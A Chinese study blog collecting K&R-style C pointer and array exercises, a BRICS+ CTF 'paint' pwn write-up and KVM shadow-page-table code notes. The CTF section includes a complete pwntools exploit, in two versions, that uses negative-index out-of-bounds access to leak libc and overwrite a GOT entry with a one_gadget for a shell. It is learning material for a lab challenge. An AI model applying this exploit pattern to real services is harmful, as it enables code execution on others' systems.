c语言回炉重造-指针与数组
回炉重造, 还是通过gdb调试一下,理解的比较好, 多写代码多调试!
指针与地址初探12345678910111213141516#include <stdio.h>void main(){ int x=1,y=2,z[10]; int *ip; ip = &x; z[0] = 1; z[1] = 2; z[8] = 5; y = *ip; *ip = 0; ip = &z[0]; x = 1; }
gcc -g main.c
ip是一个指针,在第六行,把x的地址赋给了指针,所以ip的值就是x的地址,ip本身就是一个值,也有自己的地址,
感觉这种未初始化的数组或许能做信息泄露?
指针与函数参数 函数传递指针,实现赋值. 主要是getint函数,获取任意值,然后转换成数值,int类型的数值 而不是char类型的数值
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869#include <ctype.h>#include <stdio.h>int getch(void);void ungetch(int);//将输入的字符流分解成整数int getint(int *pn){ int c,sign; while(isspace(c = getch())) ; if (!isdigit(c) && c !=EOF && c!='+' && c !='-'){ //输入不是数字、结束符号,+-符号时返回0 ungetch(c); return 0; } sign = (c == '-') ? -1:1; //获取符号 if (c=='+' || c =='-') c = getch();/*原来设想的数可能是 +1 -2这种,所以要先检测一下符号这个循环的意思是, 假如输入了 12345 这种(不是一位的数值), 一个一个读取,然后前一位 乘10,逐级递增,这个没问题,但 c - 0是什么? c的话,本身是 字符 ,这里是减去0 的ascii码,就 取得了 整数 */ for (*pn=0; isdigit(c); c=getch()) *pn = 10 * *pn + (c - '0'); *pn *= sign; if (c != EOF) //先缓存一下 ungetch(c); return c;}#define SIZE 10void main(){ int n, array[SIZE],getint(int *); // 实现给一个整形数组 赋值 for (n=0; n < SIZE && getint(&array[n]) != EOF; n++) ; for (n=0; n < SIZE; n++) //打印 printf("the %d number is %d\n",n,array[n]);}#define BUFSIZE 100char buf[BUFSIZE];int bufp =0;int getch(void){ return (bufp > 0 ) ? buf[--bufp] : getchar();}void ungetch(int c){ if (bufp >= BUFSIZE) printf("ungetch: too many characters\n"); else buf[bufp++] = c;}
关于 c-‘0’的问题
12 for (*pn=0; isdigit(c); c=getch()) *pn = 10 * *pn + (c - '0');
输入12345, ascii的话就是49 50 51 52 53问题在于, 对于getchar()得到的数值,会是ascii码, 而直接赋值得到的是内存中数值,所以需要这么一个转换
12345678910111213#include <stdio.h>void main(){ int a=1; char b = 1; int c; c = getchar(); int d; d = getchar();}
虽然但是,a和b还是不一样的,a占用4个字节,b占用一个字节
虽然但是,a和b还是不一样的,a占用4个字节,b占用一个字节
strlen 注意, 参数处的 *s 和 for循环里的 *s 是两个含义, 一个是代表定义指针, 一个是取指针指向的地址的值,差了两层
12345678int strlen(char *s){ int n; for (n=0; *s!='\0'; s++) n++; return n;}
版本2, 数组的尾元素+1 (结束\0) 减头元素就是长度,
1234567int strlen(char *s){ char *p = s; while(*p != '\0') p++; return p-s;}
理解地址算数运算: 一个简单的存储分配程序123456789101112131415161718192021222324252627282930313233343536373839404142#include <stdio.h>#include <string.h>#define ALLOCSIZE 10000static char allocbuf[ALLOCSIZE];static char *allocp = allocbuf;char *alloc(int n){ if (allocbuf + ALLOCSIZE - allocp >= n){ //有足够的空闲空间 allocp += n; return allocp - n; //分配前的指针p }else{ return 0; } }void afree(char *p) //释放p指向的存储区{ if (p >= allocbuf && p < allocbuf + ALLOCSIZE) allocp = p; }void main(){ char *data1,*data2; int a; char src[50] = "hello wolrd"; char src2[50] = "this is the second mem region"; data1 = alloc(100); memcpy(data1,src,strlen(src)+1); data2 = alloc(200); memcpy(data2,src2,strlen(src2)+1); a= 1;}
strcpy的实现实现把指针t指向的字符串复制到指针s指向的位置, 但是不能用s=t,因为这个只是拷贝了指针,并没有复制字符串,
数组方法实现:
1234567void strcpy(char *s, char *t){ int i; i = 0; while((s[i] = t[i]) != '\0') i++;}
指针方法实现:
12345678void strcpy(char *s, char *t){ while((*s = *t) != '\0') { s++; t++; }}
经验丰富的程序员更喜欢编写成一下形式:
12345void strcpy(char *s,char *t){ while ((*s++ = *t++) != '\0') ;}
还可以进一步缩写,因为和0比较是多余的,while循环的条件本身就需要非0
12345void strcpy(char *s,char *t){ while (*s++ = *t++) ;}
strcmp的实现12345678int strcmp(char *s,char *t){ int i; for (i=0;s[i] == t[i];i++) if(s[i] == '\0') return 0 return s[i] - t[i];}
用指针来实现
1234567int strcmp(char *s,char *t){ for(;*s == *t;s++,t++) if (*s == '\0') return 0 return *s - *t;}
指针数组排序1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677#include <stdio.h>#include <string.h>#define MAXLINES 5000char *lineptr[MAXLINES];int readlines(char *lineptr[],int nlines);void writelines(char *lineptr[],int nlines);void main(){ int nlines; if ((nlines = readlines(lineptr,MAXLINES)) >=0 ){ qsort(lineptr,0,nlines-1); writelines(lineptr,nlines); return 0; }else{ printf("error: input too big to sort\n"); return 1; }}#define MAXLEN 1000int getline(char *,int);char *alloc(int);int readline(char *lineptr[],int maxlines){ int len, nlines; char *p,line[MAXLEN]; nlines = 0; while((len = getline(line,MAXLEN)) > 0 ) { if (nlines > maxlines || (p = alloc(len)) == NULL) return -1; else{ line[len-1] = '\0';//删除换行符 strcpy(p,line); lineptr[nlines++] = p; } } return nlines;}void writelines(char *lineptr[],int nlines){ int i; for(i = 0;i<nlines;i++) printf("%s\n",lineptr[i]);}void qsort(char *v[], int left,int right){ int i,last; void swap(char *v[],int i, int j); if (left >= right) return; swap(v,left,(left+right)/2); last = left; for(i = left+1; i<= right; i++) if (strcmp(v[i],v[left]) < 0 ) swap(v,++last,i); swap(v,left,last); qsort(v,left,last-1); qsort(v,last+1,right);}void swap(char *v[],int i,int j){ char *temp; temp = v[i]; v[i] = v[j]; v[j] = temp;}
基础快速排序123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657#include <stdio.h>void swap(int v[],int i,int j);void qsort(int v[],int left,int right);void main(){ int i; int v[11] = {3,2,9,2,3,7,8,1,6,8,4}; qsort(v,0,10); for(i=0;i<11;i++) printf("%d,",v[i]);}void swap(int v[],int i,int j){ int temp; temp = v[i]; v[i] = v[j]; v[j] = temp;}// 3,2,9,2,3,7,8,1,6,8,4// 以递增顺序对v[left]到v[right]进行排序void qsort(int v[],int left,int right){ int i,last; void swap(int v[],int i,int j); if (left >= right) return; swap(v,left, (left+right)/2); last = left; for (i = left+1;i<=right;i++) if (v[i] < v[left]) swap(v,++last,i); swap(v,left,last); //qsort(v, left, last-1); //qsort(v,last+1,right);}举例 3,2,9,2,3,7,8,1,6,8,4 qsort(v,0,10)第一次排序后 4,2,2,3,3,1,6,7,8,8,9第一次把中间的7放到开头,然后对比,依次把小于它的往前放,放到last+1的位置 7,2,9,2,3,3,8,1,6,8,4 7,2,2,9,3,3,8,1,6,8,4 7,2,2,3,9,3,8,1,6,8,4 7,2,2,3,3,9,8,1,6,8,4 7,2,2,3,3,1,8,9,6,8,4 7,2,2,3,3,1,6,9,8,8,4 7,2,2,3,3,1,6,4,8,8,9 //此时last在4这个位置,肯定也是比它小的,而且是最后一个,此时再swap就可以了
多维数组12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758#include <stdio.h>int day_of_year(int year, int month,int day);void month_day(int year,int yearday,int *pmonth,int *pday);void main(){ int choice; int year,month,day; int dayofyear; int dayofmonth; printf("请输入选项\n1.将某年某月某日的日期表示形式转换成某年第几天的形式\n2.将某年中第几天的日期表示形式转换为某月某日\n"); scanf("%d",&choice); switch(choice){ case 1: printf("请输入年月日,空格隔开\n"); scanf("%d %d %d",&year,&month,&day); dayofyear = day_of_year(year,month,day); printf("%d年%d月%d日是%d年第%d天\n",year,month,day,year,dayofyear); break; case 2: printf("请输入年份和天数,空格隔开\n"); scanf("%d %d",&year,&day); month_day(year,day,&month,&dayofmonth); printf("%d年第%d天是%d年%d月%d号",year,day,year,month,dayofmonth); break; }}static char daytab[2][13]={ {0,31,28,31,30,31,30,31,31,30,31,30,31}, {0,31,29,31,30,31,30,31,31,30,31,30,31}};//将某年某月某日的日期表示形式转换成某年第几天的形式int day_of_year(int year, int month,int day){ int i,leap; leap = year%4 == 0 && year%100 !=0 || year % 400 ==0; for(i=1;i< month;i++) day+= daytab[leap][i]; return day;}//将某年中第几天的日期表示形式转换为某月某日void month_day(int year,int yearday,int *pmonth,int *pday){ int i,leap; leap = year%4 == 0 && year%100 !=0 || year % 400 ==0; for (i=1;yearday > daytab[leap][i];i++) yearday -= daytab[leap][i]; *pmonth = i; *pday = yearday;}
命令行参数 echo第一个版本将argv看成一个字符指针数组
1234567891011#include <stdio.h>int main(int argc,char *argv[]){ int i; for (i=0; i<argc; i++) printf("%s%s",argv[i],(i < argc-1) ? " ": ""); printf("\n"); return 0;}
因为argv是一个指向指针数组的指针,所以,可以通过指针而非数组下标的方式处理命令行参数.
第二个版本是在对argv进行自增运算、对argc进行自减运算的基础上实现的(argv是一个指向char类型的指针的指针)
123456789#include <stdio.h>int main(int argc,char *argv[]){ while( --argc > 0) printf("%s%s",*++argv,(argc > 1)? " ":""); printf("\n"); return 0;}
模式查找程序4.1节 内置了查找模式
将输入中包含特定“模式”或字符串的各行打印出来(grep的特例相当于)
12345678910111213141516171819202122232425262728293031323334353637383940414243444546#include <stdio.h>#define MAXLINE 1000int getline1(char line[],int max);int strindex(char source[],char searchfor[]); char pattern[] = "tang"; int main(){ char line[MAXLINE]; int found = 0; while (getline1(line,MAXLINE) > 0 ) if(strindex(line,pattern) >= 0 ){ printf("%s",line); found++; } return found;}//将行保存到s中,并返回该行的长度int getline1(char s[],int lim){ int c,i; i = 0; while(--lim >0 && (c=getchar()) != EOF && c != '\n') s[i++] = c; if(c=='\n') s[i++] = c; s[i] = '\0'; return i;}// 返回t在s中的位置,如果没找到返回-1int strindex(char s[],char t[]){ int i,j,k; for (i=0; s[i] !='\0';i++){ for(j = i,k=0; t[k]!='\0' && s[j]==t[k];j++,k++) ; if (k > 0 && t[k] == '\0') return i; } return -1;}
5.10 增强版 实现find功能,打印与第一个参数指定的模式匹配的行
1234567891011121314151617181920212223242526272829303132333435#include <stdio.h>#include <string.h>#define MAXLINE 1000int getline1(char *line, int max);//int main(int argc,char *argv[]){ char line[MAXLINE]; int found = 0; if (argc !=2 ) printf("Usage: find pattern\n"); else while(getline1(line,MAXLINE) > 0) if (strstr(line,argv[1]) != NULL){ printf("%s",line); found++; } return found;}int getline1(char s[],int lim){ int c,i; i = 0; while(--lim >0 && (c=getchar()) != EOF && c != '\n') s[i++] = c; if(c=='\n') s[i++] = c; s[i] = '\0'; return i;}
再次改进
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657#include <stdio.h>#include <string.h>#define MAXLINE 1000int getline1(char *line, int max);//int main(int argc,char *argv[]){ char line[MAXLINE]; long lineno = 0; int c,except = 0, number = 0, found =0; while(--argc > 0 && (*++argv)[0] == '-') while(c = *++argv[0]) //这里的++...........是那个意思? switch(c){ case 'x': except = 1; break; case 'n': number = 1; break; default: printf("find: illegal option %c\n",c); argc = 0; found = -1; break; } if (argc !=1 ) printf("Usage: find -x -n pattern\n"); else while(getline1(line,MAXLINE) > 0){ lineno++; if ((strstr(line,*argv) != NULL)!= except){ if(number) printf("%ld:",lineno); printf("%s",line); found++; } } return found;}int getline1(char s[],int lim){ int c,i; i = 0; while(--lim >0 && (c=getchar()) != EOF && c != '\n') s[i++] = c; if(c=='\n') s[i++] = c; s[i] = '\0'; return i;}
函数指针123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130#include <stdio.h>#include <string.h>#include <stdlib.h>#include <string.h>#define ALLOCSIZE 10000#define MAXLINES 5000#define MAXLEN 1000char *lineptr[MAXLINES];int readlines(char *lineptr[],int maxlines);void writelines(char *lineptr[],int nlines);void qsort1(void *v[], int left,int right,int (*comp)(void *,void *));int numcmp(char *,char *);int getline1(char *line, int max);char *alloc(int n);//对输入的文本进行排序int main(int argc,char *argv[]){ int nlines; //读入的输入行数 int numeric = 0; //若进行数值排序,则 numberic的值为1 if(argc > 1 && strcmp(argv[1],"-n") == 0) numeric = 1; if ((nlines = readlines(lineptr,MAXLINES)) >= 0){ qsort1((void **)lineptr, 0, nlines -1, (int (*)(void*,void*))(numeric ? numcmp:strcmp)); writelines(lineptr, nlines); return 0; }else{ printf("input too big to sort\n"); return 1; } }int readlines(char *lineptr[],int maxlines){ int len, nlines; char *p,line[MAXLEN]; nlines = 0; while((len = getline1(line,MAXLEN)) > 0 ) { if (nlines > maxlines || (p = alloc(len)) == NULL) return -1; else{ line[len-1] = '\0';//删除换行符 strcpy(p,line); lineptr[nlines++] = p; } } return nlines;}void writelines(char *lineptr[],int nlines){ int i; for(i = 0;i<nlines;i++) printf("%s\n",lineptr[i]);}void qsort1(void *v[], int left,int right,int (*comp)(void *,void *)){ int i,last; void swap(void *v[],int i, int j); if (left >= right) return; swap(v,left,(left+right)/2); last = left; for(i = left+1; i<= right; i++) if ((*comp)(v[i],v[left]) < 0 ) swap(v,++last,i); swap(v,left,last); qsort1(v,left,last-1,comp); qsort1(v,last+1,right,comp);}int numcmp(char *s1, char *s2){ double v1,v2; v1 = atof(s1); v2 = atof(s2); if (v1<v2) return -1; else if (v1 > v2) return 1; else return 0;}void swap(void *v[],int i,int j){ char *temp; temp = v[i]; v[i] = v[j]; v[j] = temp;}int getline1(char s[],int lim){ int c,i; i = 0; while(--lim >0 && (c=getchar()) != EOF && c != '\n') s[i++] = c; if(c=='\n') s[i++] = c; s[i] = '\0'; return i;}static char allocbuf[ALLOCSIZE];static char *allocp = allocbuf;char *alloc(int n){ if (allocbuf + ALLOCSIZE - allocp >= n){ //有足够的空闲空间 allocp += n; return allocp - n; //分配前的指针p }else{ return 0; } }
(void **)是啥, 将指针数组转换成 指向指针数组的指针类型
复杂声明程序dcl是啥
1234char **argv argv: pointer to pointer to charint (*daytab)[13] daytab: pointer to array[13] of int
q能不能用gdb显示变量信息呢,结构信息等,比如char和int的区别
EOF的话,包括哪些
pwn入门-42-BRICS+CTF-整数溢出一题
题目:paint 附件: 本链接地址+ paint.zip
dockerfile使用执行命令进行构建
[root@docker Dockerfile]#docker build -t ctfpwn .上条命令中build为构建镜像,而参数t则指定镜像name,.则为Dockerfile的路径
进去后找libc
123456789101112root@ff854125b9c3:/# chmod +x /lib/x86_64-linux-gnu/libc.so.6root@ff854125b9c3:/# /lib/x86_64-linux-gnu/libc.so.6GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.Copyright (C) 2022 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.Compiled by GNU CC version 11.2.0.libc ABIs: UNIQUE IFUNC ABSOLUTEFor bug reporting instructions, please see:<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
后面可以上脚本搭建环境调试, 准备好自己那个脚本
glibc-allinone的源有时候不行,找到了一个有的
https://ubuntu.repo.cure.edu.uy/mirror/pool/main/g/glibc/
思路画布结构123456789101112131415161718 +---------+----------+--------------------+ | | | | | chunk head | | | | +---------+----------+-----------------+--+canvas[idx] -> +---------+----------+--------------------+ | | | | v3 v2 | v0+8 malloc canvas | | | | +---------+----------+-----------------+--+canvas[idx] + 16 -> +---------+----------+--------------------+ | | | | rate | comment addr | | | | +---------+----------+-----------------+--+
泄漏libc地址 数字不一定是正的,可以输入负的!!! 注意学习这种漏洞思维, 可以看到canvas前面有libc的函数,可以利用这个来泄漏地址
修改got表指针为onegadget 其实本质就是利用负数溢出,让操作以为是在操作堆块,找到对应的位置进行操作即可,
rate(-8,0x222,’\x08\x01’*4+p64(addr))
这里的话,会把-8这个位置当成画布结构数据区开头, 第一个圈起来的位置则是存放comment chunk 地址的,然后再给comment赋值’\x08\x01’*4+p64(addr)
draw(-5,p64(one)) -5是红色位置,这里又把-5开始的位置当成了画布结构的数据区开头 在draw函数里就是canvas[idx],这是画布的上层结构,而画布内容的存储位置是蓝色的, 这里就可以对蓝色指向的地址进行修改了,也就是got表
往画布里,也就是got表进行修改, 改成onegadget
(这里地址不对,不是同一次调试的,gdb里有pie),但是原理一样,read后,把got表改成了onegadget
exppython2版本
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576from pwn import*context(os='linux',arch='amd64')context.log_level=True#elf=ELF('pwn')libc=ELF('libc.so.6')#p=process('./vuln')#p=process('./pwn',env={'LD_PRELOAD':'./libc.so.6'})p=remote('paint-71ae86dc10a3fe17.brics-ctf.ru',13003)def add(id,wid,hei): p.recvuntil('> ') p.sendline('1') p.recvuntil('Enter idx: ') p.sendline(str(id)) p.recvuntil('Enter canvas width (1-255): ') p.sendline(str(wid)) p.recvuntil('Enter canvas height (1-255): ') p.sendline(str(hei))def resize(id,wid,hei): p.recvuntil('> ') p.sendline('2') p.recvuntil('Enter idx: ') p.sendline(str(id)) p.recvuntil('Enter new width (1-255): ') p.sendline(str(wid)) p.recvuntil('Enter new height (1-255): ') p.send(str(hei))def draw(id,data): p.recvuntil('> ') p.sendline('3') p.recvuntil('Enter idx: ') p.sendline(str(id)) p.recvuntil('` chars in `height` lines):') #for i in range(wid): p.send(str(data))def delete(id): p.recvuntil('> ') p.sendline('6') p.recvuntil('Enter idx: ') p.sendline(str(id))def show(id): p.recvuntil('> ') p.sendline('4') p.recvuntil('Enter idx: ') p.sendline(str(id))def comment(id,x,rate): p.recvuntil('> ') p.sendline('5') p.recvuntil('Enter idx: ') p.sendline(str(id)) p.recvuntil('Enter rate: ') p.sendline(str(x)) p.recvuntil('ment (y/n): ') p.sendline('y') p.recvuntil('r your comment: ') p.sendline(str(rate)) #泄漏地址show(-2)p.recv(0xf)leak=u64(p.recv(8))-0x1300libcbase=leak-(0x7ffff7fad780-0x00007ffff7d93000)print hex(leak)print hex(libcbase)addr=libcbase+0x219098edit(-8,0x222,'\x08\x01'*4+p64(addr))#system=libcbase+libc.sym['/bin/sh\x00']one=libcbase+0xebcf8drow(-5,p64(one))p.interactive()
上述是修改过的,下面是队友原exp
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788from pwn import*context(os='linux',arch='amd64')context.log_level=True#elf=ELF('pwn')libc=ELF('libc.so.6')#p=process('./vuln')#p=process('./pwn',env={'LD_PRELOAD':'./libc.so.6'})p=remote('paint-71ae86dc10a3fe17.brics-ctf.ru',13003)def add(id,wid,hei): p.recvuntil('> ') p.sendline('1') p.recvuntil('Enter idx: ') p.sendline(str(id)) p.recvuntil('Enter canvas width (1-255): ') p.sendline(str(wid)) p.recvuntil('Enter canvas height (1-255): ') p.sendline(str(hei))def re(id,wid,hei): p.recvuntil('> ') p.sendline('2') p.recvuntil('Enter idx: ') p.sendline(str(id)) p.recvuntil('Enter new width (1-255): ') p.sendline(str(wid)) p.recvuntil('Enter new height (1-255): ') p.send(str(hei))def drow(id,data): p.recvuntil('> ') p.sendline('3') p.recvuntil('Enter idx: ') p.sendline(str(id)) p.recvuntil('` chars in `height` lines):') #for i in range(wid): p.send(str(data))def delete(id): p.recvuntil('> ') p.sendline('6') p.recvuntil('Enter idx: ') p.sendline(str(id))def show(id): p.recvuntil('> ') p.sendline('4') p.recvuntil('Enter idx: ') p.sendline(str(id))def edit(id,x,rate): p.recvuntil('> ') p.sendline('5') p.recvuntil('Enter idx: ') p.sendline(str(id)) p.recvuntil('Enter rate: ') p.sendline(str(x)) p.recvuntil('ment (y/n): ') p.sendline('y') p.recvuntil('r your comment: ') p.sendline(str(rate)) add(0,8,1)#edit(0,0x20,'a'*0x10)#re(0,0x21,0x20)#show(-8)##add(1,1,0xf)show(-2)p.recv(0xf)leak=u64(p.recv(8))-0x1300libcbase=leak-(0x7ffff7fad780-0x00007ffff7d93000)print hex(leak)print hex(libcbase)#attach(p,'b *0x00005555555557a3')pause()#delete(0)#add(0,0xf0,0xf0)addr=libcbase+0x219098edit(-8,0x222,'\x08\x01'*4+p64(addr))#system=libcbase+libc.sym['/bin/sh\x00']one=libcbase+0xebcf8drow(-5,p64(one))p.interactive()
pwn入门-41-常见的指针识别
在做题的时候, ida中很多指针看不懂,就很尴尬,需要再好好学习下, 不过还是多积累,遇到题目的时候每次都进行分析,后面就都慢慢熟悉了,(相应的可以根据反汇编代码写源代码,从开发、正向的角度来看)
以一道题目为例子,学习下指针等1234567891011121314151617181920212223242526272829303132333435363738394041424344unsigned __int64 add_canvas(){ __int64 v0; // rbx int v2; // [rsp+Ch] [rbp-24h] BYREF int v3; // [rsp+10h] [rbp-20h] BYREF int idx; // [rsp+14h] [rbp-1Ch] unsigned __int64 v5; // [rsp+18h] [rbp-18h] v5 = __readfsqword(0x28u); idx = read_idx(); if ( canvas[idx] ) { puts("Invalid index"); } else { canvas[idx] = malloc(0x20uLL); v2 = 0; v3 = 0; printf("Enter canvas width (1-255): "); __isoc99_scanf("%hhd", &v2); printf("Enter canvas height (1-255): "); __isoc99_scanf("%hhd", &v3); if ( (unsigned int)(v2 * v3) <= 0xFF ) { v0 = canvas[idx]; //v0获取canvas画布的堆块的地址, *(_QWORD *)(v0 + 8) = malloc((unsigned int)(v2 * v3 + 1)); //v0+8,然后强制类型转换,再解引用, //_QWORD 64位 word *(_BYTE *)canvas[idx] = v2; // canvas这里也是QWORD类型(其实可以统一替换成v0的 *(_BYTE *)(canvas[idx] + 1LL) = v3;// 所以+1 是+1 byte *(_DWORD *)(canvas[idx] + 16LL) = 0; *(_QWORD *)(canvas[idx] + 24LL) = 0LL; puts("Done"); } else { puts("Too big"); free((void *)canvas[idx]); canvas[idx] = 0LL; } } return v5 - __readfsqword(0x28u);}
chatgpt
在 IDA Pro 中,”_DWORD”、”_QWORD”、”_BYTE” 等标识符通常表示不同的数据类型或数据大小,用于帮助分析和标识反汇编代码中的数据。这些标识符通常与数据类型的大小有关,以下是它们的一般含义:
“_DWORD”:代表一个32位的双字(Double Word),通常对应于一个32位整数。在汇编和反汇编中,双字通常由4个字节组成。
“_QWORD”:代表一个64位的四字(Quad Word),通常对应于一个64位整数。在汇编和反汇编中,四字通常由8个字节组成。
“_BYTE”:代表一个8位的字节(Byte),通常对应于一个字节。在汇编和反汇编中,字节通常由一个字节组成,用于表示较小的数据。
字是16位(历史原因、兼容原因……….)
画堆块
123456789101112131415161718192021222324+---------+----------+--------------------+| | || | chunk head || | |+---------+----------+-----------------+--++---------+----------+--------------------+| | || v3 v2 | v0+8 malloc canvas || | |+---------+----------+-----------------+--+ +---------+----------+--------------------+| | || | || | |+---------+----------+-----------------+--+ 画布
1234567891011121314151617181920212223242526int draw(){ int result; // eax int i; // [rsp+8h] [rbp-8h] int idx; // [rsp+Ch] [rbp-4h] idx = read_idx(); if ( !canvas[idx] ) return puts("Invalid index"); puts("Enter your picture (`width` chars in `height` lines): "); for ( i = 0; ; ++i ) { result = *(unsigned __int8 *)(canvas[idx] + 1LL); //height if ( i >= result ) break; read( //画一行 width 0, (void *)(*(_QWORD *)(canvas[idx] + 8LL) + i * *(unsigned __int8 *)canvas[idx]), *(unsigned __int8 *)canvas[idx] + 1); }// *(_QWORD *)(canvas[idx] + 8LL) 是画布的地址, //i * *(unsigned __int8 *)canvas[idx] 是i * 宽 //*(unsigned __int8 *)canvas[idx] + 1 是先取了宽,然后+1, // 所以输入0 8 1 的话,就是读入一行,读入9个字符(包括结束符号) // 读入地址就是开头呀 return result;}
0 8 1
结束符号EOF包括\n \0?
函数名:read
头文件:<io.h>
函数原型: int read(int handle,void *buf,int len);
功能:用于读取打开文件的内容
参数:int handle 为要读取的文件
void *buf 为要将读取的内容保存的缓冲区
int len 读取文件的长度
返回值:返回实际读取的字节数
12345678910111213#include <stdio.h>#include <stdlib.h>void main(){ char *canvas[5]; char *str; int addr; canvas[0] = malloc(0x20); addr = canvas[0]; addr = 1; }
指针和long int存储的有区别吗? 有区别的,
如果是long int的话
*(uintptr_t *)(x+8) = malloc(0x30); 先把地址+8,然后强制类型转换成指针,然后解引用
虚拟化入门-3-内存虚拟化代码分析
一、保护模式Guest的寻址原理 为每个guest进程分别制作一张表,记录着GVA到HPA的映射关系。guest模式下的cr3寄存器不再指向内部GVA到GPA映射的表,而是指向这张新的表。当MMU收到GVA时,通过遍历这张新的表,将GVA翻译成HPA。
因为guest自身页表不能完成GVA到HPA的多层地址映射,因此每当guest设置cr3寄存器时,KVM都需要截获这个操作,将cr3替换为影子页表,因此每次设置cr3时都需要触发虚拟机退出,陷入KVM模块。(无疑会造成很大的资源消耗,有EPT之后就不用了)
两个关键点:
KVM需要构建GVA映射到HPA的页表,这个页表需要根据guest内部页表的信息更新,实际地址映射时生效的是这张页表,会将guest内部的页表给隐藏起来,所以它叫影子页表
保护模式的guest有自己的页表,而且不只有一个页表,每个任务都会有自己的页表,随着任务的切换而更换页表,所以,KVM也需要准备多个影子页表,每个guest任务对应一个。 并且在guest内部任务切换时,kvm需要捕获这个切换,切换对应的影子页表。
建立映射时,需要经过三次转换:
第一次是guest使用自身的页表完成GVA到GPA的转换
第二次是KVM根据内存条信息完成GPA到HVA的转换
第三次是host利用内核的内存管理机制完成HVA到HPA的转换
影子页表构建好后,在映射建立完成后,GVA到HPA经过一次映射即可。
影子页表的建立 / 缺页异常处理 保护模式guest发生缺页异常时,控制cr2寄存器中存储的是GVA,而只有guest知道GVA到GPA的映射,所以,缺页异常处理函数首先需要遍历guest的页表,取出对应的GPA。
如果没有建立GVA到GPA的映射,则KVM向guest注入缺页异常,guest进行正常的缺页异常处理,完成GVA到GPA的映射。建立好GVA到GPA的映射后,然后再继续建立GVA到HPA的映射。
刚开始时,影子页表是空的,所以开始时任何内存访问操作都会引起缺页异常,导致vm exit 进入handle_exception_nmi (不可屏蔽中断异常处理)
handle_exception_nmi从这里进入异常处理
12345678910111213141516171819static int handle_exception_nmi(struct kvm_vcpu *vcpu){ struct vcpu_vmx *vmx = to_vmx(vcpu); struct kvm_run *kvm_run = vcpu->run;...... if (is_page_fault(intr_info)) { cr2 = vmx_get_exit_qual(vcpu); if (enable_ept && !vcpu->arch.apf.host_apf_flags) { /* * EPT will cause page fault only if we need to * detect illegal GPAs. */ WARN_ON_ONCE(!allow_smaller_maxphyaddr); kvm_fixup_and_inject_pf_error(vcpu, cr2, error_code); return 1; } else return kvm_handle_page_fault(vcpu, error_code, cr2, NULL, 0); }
调用链如下
1234- kvm_handle_page_fault - kvm_mmu_page_fault - kvm_mmu_do_page_fault -
到了这里之后, 如果没开启ept,会进入else,猜测这里的page_fault是FNAME(page_fault),这样就连起来了
12345678static inline int kvm_mmu_do_page_fault(struct kvm_vcpu *vcpu, gpa_t cr2_or_gpa, u32 err, bool prefetch, int *emulation_type){ ..... if (IS_ENABLED(CONFIG_RETPOLINE) && fault.is_tdp) r = kvm_tdp_page_fault(vcpu, &fault); else r = vcpu->arch.mmu->page_fault(vcpu, &fault);
GVA-GPA 映射kvm\mmu\paging_tmpl.h
123456789101112131415161718192021222324252627282930313233343536373839404142434445static int FNAME(page_fault)(struct kvm_vcpu *vcpu, struct kvm_page_fault *fault){ struct guest_walker walker; int r; pgprintk("%s: addr %lx err %x\n", __func__, fault->addr, fault->error_code); WARN_ON_ONCE(fault->is_tdp); /* * Look up the guest pte for the faulting address. * If PFEC.RSVD is set, this is a shadow page fault. * The bit needs to be cleared before walking guest page tables. */ r = FNAME(walk_addr)(&walker, vcpu, fault->addr, fault->error_code & ~PFERR_RSVD_MASK); /* * The page is not mapped by the guest. Let the guest handle it. */ if (!r) { pgprintk("%s: guest page fault\n", __func__); if (!fault->prefetch) kvm_inject_emulated_page_fault(vcpu, &walker.fault); return RET_PF_RETRY; } fault->gfn = walker.gfn; fault->max_level = walker.level; fault->slot = kvm_vcpu_gfn_to_memslot(vcpu, fault->gfn);//获取内存条信息 if (page_fault_handle_page_track(vcpu, fault)) { shadow_page_table_clear_flood(vcpu, fault->addr); return RET_PF_EMULATE; } r = mmu_topup_memory_caches(vcpu, true); if (r) return r; r = kvm_faultin_pfn(vcpu, fault, walker.pte_access);//关键函数 if (r != RET_PF_CONTINUE) return r;....}
在硬件MMU中,Table walk单元负责遍历页表,这里函数walk_addr就相当于硬件MMu中Table walk,负责遍历guest页表。 异常处理函数首先调用这个函数遍历guess页表,尝试取出GPA,见14行代码,遍历完后,把具体信息保存在walker中。
感觉写的注释非常精髓
123456/* * Fetch a guest pte for a guest virtual address, or for an L2's GPA. */static int FNAME(walk_addr_generic)(struct guest_walker *walker, struct kvm_vcpu *vcpu, struct kvm_mmu *mmu, gpa_t addr, u64 access)
如果返回0,说明没有建立映射,进行guest的缺页处理,注入异常,guest去建立GVA到GPA的映射。见20行。
进入到kvm_inject_emulated_page_fault
x86.c
123456789101112131415161718192021void kvm_inject_emulated_page_fault(struct kvm_vcpu *vcpu, struct x86_exception *fault){ struct kvm_mmu *fault_mmu; WARN_ON_ONCE(fault->vector != PF_VECTOR); fault_mmu = fault->nested_page_fault ? vcpu->arch.mmu : vcpu->arch.walk_mmu; /* * Invalidate the TLB entry for the faulting address, if it exists, * else the access will fault indefinitely (and to emulate hardware). */ if ((fault->error_code & PFERR_PRESENT_MASK) && !(fault->error_code & PFERR_RSVD_MASK)) kvm_mmu_invalidate_addr(vcpu, fault_mmu, fault->address, KVM_MMU_ROOT_CURRENT); fault_mmu->inject_page_fault(vcpu, fault);}EXPORT_SYMBOL_GPL(kvm_inject_emulated_page_fault);
会调用 inject_page_fault, 对应的函数如下
